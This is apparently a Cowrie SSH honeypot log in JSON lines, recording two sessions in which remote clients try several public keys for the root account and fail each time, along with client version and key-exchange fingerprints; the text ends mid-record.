{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:b8:e6:70:61:c7:41:00:33:62:95:d4:d7:15:00:87","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALdhMOCOzxsMzSkEeumBf++eJgKCoPZVyxfgrYiMCqcMMstUTUIbE7rCJa8Y5Iun+KRSl/22HdrHeKF3NNj022vigbaUETj8ebm6FP/v8/MBZ9BjvkwyqNLCYgYCphbptBfJo0+18hgRdPNUgB6oMM4xjXxYUhqiD6bSjrOnU2NrAAAAFQDYOuMjmeBVxaXMfoqkipVOGtuCyQAAAIBGOzWpnucqZTQKY61Jm4nEYJVV/MSppStMn5sPNMyHqw0nWgniivxeOfgivMJkRjjGxsKDsj7Y4+h2vzYBb0XcivJdpi7xm+lQChMM7/mnMgwNEKevrUU3wZVz0xuOdgMbIWlRTpJodb5DsaWilw1KjyBQgj7lV2sGYp7KfCPkdwAAAIBsp0UWDvhxI4SmwIcCo//1Z7yVEKkCrkN27j+A6pV4CiOhObDzbCnQ/8hlZXx4iiiEmC3htuN63GqUoJNf63QSy9w2J1HZn3fkl+G+7cUC5BTbhmUOej4U3Vzbn4bHs/i2J7zps0RPMpqR52ut6i5r9oxmFpsbr+uAbbD60UCOpw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b0:b8:e6:70:61:c7:41:00:33:62:95:d4:d7:15:00:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.620405Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:b8:e6:70:61:c7:41:00:33:62:95:d4:d7:15:00:87","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALdhMOCOzxsMzSkEeumBf++eJgKCoPZVyxfgrYiMCqcMMstUTUIbE7rCJa8Y5Iun+KRSl/22HdrHeKF3NNj022vigbaUETj8ebm6FP/v8/MBZ9BjvkwyqNLCYgYCphbptBfJo0+18hgRdPNUgB6oMM4xjXxYUhqiD6bSjrOnU2NrAAAAFQDYOuMjmeBVxaXMfoqkipVOGtuCyQAAAIBGOzWpnucqZTQKY61Jm4nEYJVV/MSppStMn5sPNMyHqw0nWgniivxeOfgivMJkRjjGxsKDsj7Y4+h2vzYBb0XcivJdpi7xm+lQChMM7/mnMgwNEKevrUU3wZVz0xuOdgMbIWlRTpJodb5DsaWilw1KjyBQgj7lV2sGYp7KfCPkdwAAAIBsp0UWDvhxI4SmwIcCo//1Z7yVEKkCrkN27j+A6pV4CiOhObDzbCnQ/8hlZXx4iiiEmC3htuN63GqUoJNf63QSy9w2J1HZn3fkl+G+7cUC5BTbhmUOej4U3Vzbn4bHs/i2J7zps0RPMpqR52ut6i5r9oxmFpsbr+uAbbD60UCOpw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.623360Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:d5:d2:75:7a:7a:41:8a:9e:43:fc:34:59:32:8b:63","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMshqL7jkVrpuq1qy7t1+rFxYwF0ZWdyur5V4z718eEyb3amvIzKeWmgF7hxKSrSnHf4PU7/hhio0E6RrmTbMDbQBJcEgKbnuiEqB0yRdAhjHbXolPVYgVVqfobyNQrIJrZbsFAbKDZSHS1KUdlPzJLJwTfErcrguSXdQ60FLrpXAAAAFQCSHrnG+0t8APmk4pvNsOOdGnXM6QAAAIBCojt+XFtCc0HmsTjd+IuVZiaNPf8WIFYKiBklsznqVXEO3s2CehJxDLTRszLV7NqSmu1K+5Y+kLrlJFOzwlpRfewcoE1enNWdSL80n9dmKgK1G+KKJvww5f9mMDqtHQPVTV0JyNuWDQwGM274OEzGbh7dIRlck3l8l+4TykC5NAAAAIBJuSrNHwjsgZx3j2tX3ITjCm6iIGDdokXJamnYiOjac9fb4fMCi+vxpdKr++a83O6FH2bK1h7lQCJsZb69pBu6rD54LlmjOeu02/bEdukqYh+pMmnzdKy/0u/+93LhICjwhNB3kR/4aFLJMc1YDdvxBSC24qR2Z4WO503FBp8fXQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ce:d5:d2:75:7a:7a:41:8a:9e:43:fc:34:59:32:8b:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.697944Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:d5:d2:75:7a:7a:41:8a:9e:43:fc:34:59:32:8b:63","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMshqL7jkVrpuq1qy7t1+rFxYwF0ZWdyur5V4z718eEyb3amvIzKeWmgF7hxKSrSnHf4PU7/hhio0E6RrmTbMDbQBJcEgKbnuiEqB0yRdAhjHbXolPVYgVVqfobyNQrIJrZbsFAbKDZSHS1KUdlPzJLJwTfErcrguSXdQ60FLrpXAAAAFQCSHrnG+0t8APmk4pvNsOOdGnXM6QAAAIBCojt+XFtCc0HmsTjd+IuVZiaNPf8WIFYKiBklsznqVXEO3s2CehJxDLTRszLV7NqSmu1K+5Y+kLrlJFOzwlpRfewcoE1enNWdSL80n9dmKgK1G+KKJvww5f9mMDqtHQPVTV0JyNuWDQwGM274OEzGbh7dIRlck3l8l+4TykC5NAAAAIBJuSrNHwjsgZx3j2tX3ITjCm6iIGDdokXJamnYiOjac9fb4fMCi+vxpdKr++a83O6FH2bK1h7lQCJsZb69pBu6rD54LlmjOeu02/bEdukqYh+pMmnzdKy/0u/+93LhICjwhNB3kR/4aFLJMc1YDdvxBSC24qR2Z4WO503FBp8fXQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.700467Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:49:37:75:eb:5d:3d:40:c6:8d:fc:27:ed:15:43:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIvxux3id0sJV2zikJueE5JyuVL3TBhYqEFX5C5sqhy1QdQD9yaJ7Ag6O+M4NxEhK29BTU/OuqWox7xJ7aeK8l596CBAo2Wt19e/7MBbqaGdH8j+8U3p8dkmcbVAMExln4ISAYoPdZC0IqE3DTIkHy4mVfwS0CMgBM7A+2+EV71sqZNWNmJGqEI0DwvfJJwgJqvMn2BL9jJom/Kx+FvvNuwRHSwi7H6br44S6HnQ1OFFF9EE+IL96nQVeEO2I2H0NZHFjG5R16HF+Nu9qW6SnZQE7iNBdJDMRVH1t013zVG+1HYT2RFNV+SkEBcP8Cwo4nSuQx5syWWEj+7sTvMGVn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:49:37:75:eb:5d:3d:40:c6:8d:fc:27:ed:15:43:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.767853Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:49:37:75:eb:5d:3d:40:c6:8d:fc:27:ed:15:43:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIvxux3id0sJV2zikJueE5JyuVL3TBhYqEFX5C5sqhy1QdQD9yaJ7Ag6O+M4NxEhK29BTU/OuqWox7xJ7aeK8l596CBAo2Wt19e/7MBbqaGdH8j+8U3p8dkmcbVAMExln4ISAYoPdZC0IqE3DTIkHy4mVfwS0CMgBM7A+2+EV71sqZNWNmJGqEI0DwvfJJwgJqvMn2BL9jJom/Kx+FvvNuwRHSwi7H6br44S6HnQ1OFFF9EE+IL96nQVeEO2I2H0NZHFjG5R16HF+Nu9qW6SnZQE7iNBdJDMRVH1t013zVG+1HYT2RFNV+SkEBcP8Cwo4nSuQx5syWWEj+7sTvMGVn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.770908Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:83:52:c6:fb:ad:fc:f6:1f:e6:fa:5a:ed:6c:4c:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGUUJKPuoao2GsHhkWWkwLdkRRLuTHyjGd5CJjgt4hZK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 10:83:52:c6:fb:ad:fc:f6:1f:e6:fa:5a:ed:6c:4c:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.839052Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:83:52:c6:fb:ad:fc:f6:1f:e6:fa:5a:ed:6c:4c:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGUUJKPuoao2GsHhkWWkwLdkRRLuTHyjGd5CJjgt4hZK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.841751Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:fa:f9:0d:8c:9f:3e:70:84:79:54:79:3e:a5:85:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5pTHtSnWbRX32hEkyl7SpgTjaiPvr22tP3K9LhNC71Rk34pzk98C6/4G2Q14y7FzesxGJh+HhyNQaqk3YQwOErS6WGHZOGnPCvidGOMCBlKZ8mVQyXGEYDiQLZbVXyfk4MTK1jtJPGGAJWbrS2DJk/cTD+tg3m2XbHsTL9TYt2UfvPvW2Dy/7/vTpjDHVjJu39mLhlcL0V2bxXQDo7biN43DWCiIRz8Hep6fnPprzplOgiAmCVtDwWBD5sMFPJKqrTn5NDi99JGfJAcliwDd91yOK+dr5+dkdAcX8MPry0wLMzn5zotyk+4Ugx0gAeiXFfhPN9ffmlc7v5BS+FPgB+A46zJvjZUuYRyKZHAAeWjw3IR/q07NuiUc/U5qJaPDQBKTAySvrW4GLyHK5HV0BSMh9VDRSjRog1aq/r76HOrKAFJ5rNZmpIu8LV2XRj7ZJycqHy/riVV0litzWBsPYcL4hKoAI4XLWItEhKHSkBean/vaIYpD9wSS/aFk8A5JPLQ9cSyzueuW+5GOpM+GWbrnF7tzCo9/ItMstGMeupT4jqfGJyd4y8arF8XZ3sQcrRrc84QDyPPu4IwczxSD0JTV4d5LBZeaFBY2RYcZNglyce1dXvyZ5S7zpgWU24hkziMJAFi1WZKOt89ipmuHk/FtsiNGmYP6HRDa+/0ebHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:fa:f9:0d:8c:9f:3e:70:84:79:54:79:3e:a5:85:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.908623Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:fa:f9:0d:8c:9f:3e:70:84:79:54:79:3e:a5:85:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5pTHtSnWbRX32hEkyl7SpgTjaiPvr22tP3K9LhNC71Rk34pzk98C6/4G2Q14y7FzesxGJh+HhyNQaqk3YQwOErS6WGHZOGnPCvidGOMCBlKZ8mVQyXGEYDiQLZbVXyfk4MTK1jtJPGGAJWbrS2DJk/cTD+tg3m2XbHsTL9TYt2UfvPvW2Dy/7/vTpjDHVjJu39mLhlcL0V2bxXQDo7biN43DWCiIRz8Hep6fnPprzplOgiAmCVtDwWBD5sMFPJKqrTn5NDi99JGfJAcliwDd91yOK+dr5+dkdAcX8MPry0wLMzn5zotyk+4Ugx0gAeiXFfhPN9ffmlc7v5BS+FPgB+A46zJvjZUuYRyKZHAAeWjw3IR/q07NuiUc/U5qJaPDQBKTAySvrW4GLyHK5HV0BSMh9VDRSjRog1aq/r76HOrKAFJ5rNZmpIu8LV2XRj7ZJycqHy/riVV0litzWBsPYcL4hKoAI4XLWItEhKHSkBean/vaIYpD9wSS/aFk8A5JPLQ9cSyzueuW+5GOpM+GWbrnF7tzCo9/ItMstGMeupT4jqfGJyd4y8arF8XZ3sQcrRrc84QDyPPu4IwczxSD0JTV4d5LBZeaFBY2RYcZNglyce1dXvyZ5S7zpgWU24hkziMJAFi1WZKOt89ipmuHk/FtsiNGmYP6HRDa+/0ebHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.911371Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:41.981238Z","src_ip":"198.199.106.159","session":"92589754b47b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.185.53.93","src_port":38162,"dst_ip":"10.17.0.5","dst_port":22,"session":"a444520dce37","protocol":"ssh","message":"New connection: 103.185.53.93:38162 (10.17.0.5:22) [session: a444520dce37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:45.459870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:45.464966Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:45.712793Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:e7:c2:6e:9e:a3:65:79:c4:a8:39:02:1e:1d:65:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXavrUKmFswVZ6VQJ/+jqJWWYlDUKa5TlnI7v/N5Dlgs1Nc6a43RgxvV5dHqqD+7PvCl6vNnnF+/i6+H+LEdRJ0TENPaGD3I/vP8p1cvmAg8QLzmksl8N5UEz1xU2kYiRX8kgQ78hcZ332ciMSJlT2+2QU8EChJVCOUvDR7bsQULbi9Xa7X8qy0ufHzvo2by2VeTchhG1+8HIGl/2LPUMYv8+LBrx1tlcaniJj4l5kWb/2h/WBAEp9KBLdZCjj2KbypkyXbyfQEVG3CO1iESELrw7lgxDVZq8v2MIU+2GoUHzHf+M8QWln1LINj27GM5uBorg9AdNDfRMT5BngmLuT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:e7:c2:6e:9e:a3:65:79:c4:a8:39:02:1e:1d:65:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:46.959983Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:e7:c2:6e:9e:a3:65:79:c4:a8:39:02:1e:1d:65:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXavrUKmFswVZ6VQJ/+jqJWWYlDUKa5TlnI7v/N5Dlgs1Nc6a43RgxvV5dHqqD+7PvCl6vNnnF+/i6+H+LEdRJ0TENPaGD3I/vP8p1cvmAg8QLzmksl8N5UEz1xU2kYiRX8kgQ78hcZ332ciMSJlT2+2QU8EChJVCOUvDR7bsQULbi9Xa7X8qy0ufHzvo2by2VeTchhG1+8HIGl/2LPUMYv8+LBrx1tlcaniJj4l5kWb/2h/WBAEp9KBLdZCjj2KbypkyXbyfQEVG3CO1iESELrw7lgxDVZq8v2MIU+2GoUHzHf+M8QWln1LINj27GM5uBorg9AdNDfRMT5BngmLuT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:46.962842Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:88:65:26:ee:7d:84:9c:13:1a:ee:b7:9e:21:a8:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyjUg6gHo+oeP812yJiy6U+1LkOs/AMbBhRL8A26AW+KHbgjb1uFyZBkDVjXG1/s0lxgGYs3Bh0zV+VOF8q8ZjZo9hc3la9Z/La+evBBPIEcfioqF3u/UXKEWrusu8Gfm3CMIgpgX0nh23bFYzjvdcGB7JD8tqC77AUqDCyhpaU16N4O+ZwEBfCoOQi353lgnr28JU4gYIY0dQ3PF0CrXOSk8wGiCjKWRAFF8Yv3R0pEiA7UW51ALuoLi8Y1DDXVMB3CR3p4lySPTBkw2SLjENnkSQ3h1Bc4F0Tu5HbCtakgmIMKa03cL57Ri8vdSnwRCqrm37tO1ZWhKtBP2BaMPD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:88:65:26:ee:7d:84:9c:13:1a:ee:b7:9e:21:a8:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.215640Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:88:65:26:ee:7d:84:9c:13:1a:ee:b7:9e:21:a8:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyjUg6gHo+oeP812yJiy6U+1LkOs/AMbBhRL8A26AW+KHbgjb1uFyZBkDVjXG1/s0lxgGYs3Bh0zV+VOF8q8ZjZo9hc3la9Z/La+evBBPIEcfioqF3u/UXKEWrusu8Gfm3CMIgpgX0nh23bFYzjvdcGB7JD8tqC77AUqDCyhpaU16N4O+ZwEBfCoOQi353lgnr28JU4gYIY0dQ3PF0CrXOSk8wGiCjKWRAFF8Yv3R0pEiA7UW51ALuoLi8Y1DDXVMB3CR3p4lySPTBkw2SLjENnkSQ3h1Bc4F0Tu5HbCtakgmIMKa03cL57Ri8vdSnwRCqrm37tO1ZWhKtBP2BaMPD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.218639Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:99:38:fe:6c:34:b3:6f:2b:c6:53:1e:d2:92:57:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA62LN/ogZKql7NOyx+04oSyx2JfHcR/POQVrD1elEAL0IAzoOUWsOXzErGqfQ4FwrPxiN+Z+HURbaIBeNjTbxJs/+X/Wpy/0nCnPb9KFpxhWApuA8QtFQgPCdCKQPvjjxJpizqRmhSxtG2kqiBNUp0yqqDrBj9vp42CAbUBh9KhRlcVOMg4k5+bWlPJYjkoaEdcKTqqyUVeXDkasOrY76eCupBKkrFEBqQKGbqJBTQFzjNkaJhj6lIDTwnLgqvjG6ByNb5Sthv7QRa3QBjd21q6yBmRU3VcxtpAjypVBMez0dn0CBhm4MxBmFrwOyg7VPojym41ls2cr797rTHH2bRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:99:38:fe:6c:34:b3:6f:2b:c6:53:1e:d2:92:57:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.472420Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:99:38:fe:6c:34:b3:6f:2b:c6:53:1e:d2:92:57:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA62LN/ogZKql7NOyx+04oSyx2JfHcR/POQVrD1elEAL0IAzoOUWsOXzErGqfQ4FwrPxiN+Z+HURbaIBeNjTbxJs/+X/Wpy/0nCnPb9KFpxhWApuA8QtFQgPCdCKQPvjjxJpizqRmhSxtG2kqiBNUp0yqqDrBj9vp42CAbUBh9KhRlcVOMg4k5+bWlPJYjkoaEdcKTqqyUVeXDkasOrY76eCupBKkrFEBqQKGbqJBTQFzjNkaJhj6lIDTwnLgqvjG6ByNb5Sthv7QRa3QBjd21q6yBmRU3VcxtpAjypVBMez0dn0CBhm4MxBmFrwOyg7VPojym41ls2cr797rTHH2bRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.475672Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:01:bb:51:46:fe:b2:e7:fc:02:01:59:a4:94:65:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsVJLwr+hFRZdXvrdf9YeJufjIGLOp9s0VtptMnIQf/f6btIFaJLVtsdYZZCYfddeoRhddLXawLFM+XUNrWxXNZfQp4VdiE3UMHa81ywSmKkE5TVrUMbHCa/Ew69GFsO+Y5WbV6148J0Z7YPzNbFr0Nb0BtpsOX2Giuo898nLJVP6VG/Yvx96SStrjzhTlisQ1E/rOpE0y/V1rXxy+fCKarpnKsqn/vP89ygvz0CGr5JGcQ1LsI845iTXQyganvuCggWmSegtNbQeMhfAiugloJZDQwkveW9jCERpGpx1cvjk8+bIJqRyNi3x3kMzkHqZIpLbsoLTVznW2U8J55ODXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:01:bb:51:46:fe:b2:e7:fc:02:01:59:a4:94:65:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.731297Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:01:bb:51:46:fe:b2:e7:fc:02:01:59:a4:94:65:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsVJLwr+hFRZdXvrdf9YeJufjIGLOp9s0VtptMnIQf/f6btIFaJLVtsdYZZCYfddeoRhddLXawLFM+XUNrWxXNZfQp4VdiE3UMHa81ywSmKkE5TVrUMbHCa/Ew69GFsO+Y5WbV6148J0Z7YPzNbFr0Nb0BtpsOX2Giuo898nLJVP6VG/Yvx96SStrjzhTlisQ1E/rOpE0y/V1rXxy+fCKarpnKsqn/vP89ygvz0CGr5JGcQ1LsI845iTXQyganvuCggWmSegtNbQeMhfAiugloJZDQwkveW9jCERpGpx1cvjk8+bIJqRyNi3x3kMzkHqZIpLbsoLTVznW2U8J55ODXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.734885Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:c2:b7:a0:43:10:ee:ca:19:fd:83:54:38:b0:33:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNaSONAQNC+E8wdK/1epSofNaWCGCp32PtvaPeuZsIhLk9RCx9ew0At9zfM/Tssxrsq9UMrCQVSGidCPMxMDp1ys5C6g0VWPVpbiOc6rvr6a5ZDwuGTuIhY5D6wfVht2NTN/I/6tk4ezKXr0VwbdmObC+MXgz03ueJXawMe8eSv722inJ0ZH35sP14R8b3cQnMvjjxdW+wVr4IDLC6Ta/N5cVMdGIEn9Ggc8r5gic/HmL1Kd6ROlskN/nXczqbAq8QoNcOWEFdcPTD3m8RXfUGS7R2eqXwZgwLmqbW25IQbe1pz9xK2/tUg8owpdKPGl2x9KIdVnXcabJiM0U/jtdixJMkeSFwI+qppG+T1lPoK/FOZIhdLK9D5HOVF6IlV3hhvlMbyDKwUf3qPCYeIQh43ulkfzqhyQ07k9etM1bMwRL95xuz0IaDNJXJnOepe7vZryqj5Wf7zoAtD1tw7rHnvWUWj3vKB5EmwJFn/z50GkC1fpPDtehyokxTE8u7Odc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:c2:b7:a0:43:10:ee:ca:19:fd:83:54:38:b0:33:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:27:47.987375Z","src_ip":"103.185.53.93","session":"a444520dce37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:c2:b7:a0:43:10:ee:ca:19:fd:83:54:38:b0:33:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNaSONAQNC+E8wdK/1epSofNaWCGCp32PtvaPeuZsIhLk9RCx9ew0At9zfM/Tssxrsq9UMrCQVSGidCPMxMDp1ys5C6g0VWPVpbiOc6rvr6a5ZDwuGTuIhY5D6wfVht2NTN/I/6tk4ezKXr0VwbdmObC+MXgz03ueJXawMe8eSv722inJ0ZH35sP14R8b3cQnMvjjxdW+wVr4IDLC6Ta/N5cVMdGIEn9Ggc8r5gic/HmL1Kd6ROlskN/nXczqbAq8QoNcOWEFdcPTD3m8RXfUGS7R2eqXwZgwLmqbW25IQbe1pz9xK2/tUg8owpdKPGl2x9KIdVnXcabJiM0U/jtdixJMkeSFwI+qppG+T1lPoK/FOZIhdLK9D5HOVF6IlV3hhvlMbyDKwUf3qPCYeIQh43ulkfzqhyQ07k9etM1bMwRL95xuz0IaDNJXJnOepe7vZryqj5Wf7zoAtD1tw7rHnvWUWj3vKB5EmwJFn/z50GkC1fpPDtehyokxTE8u7Odc=","type":"ssh-rsa","message":"public key login attempt for [root] 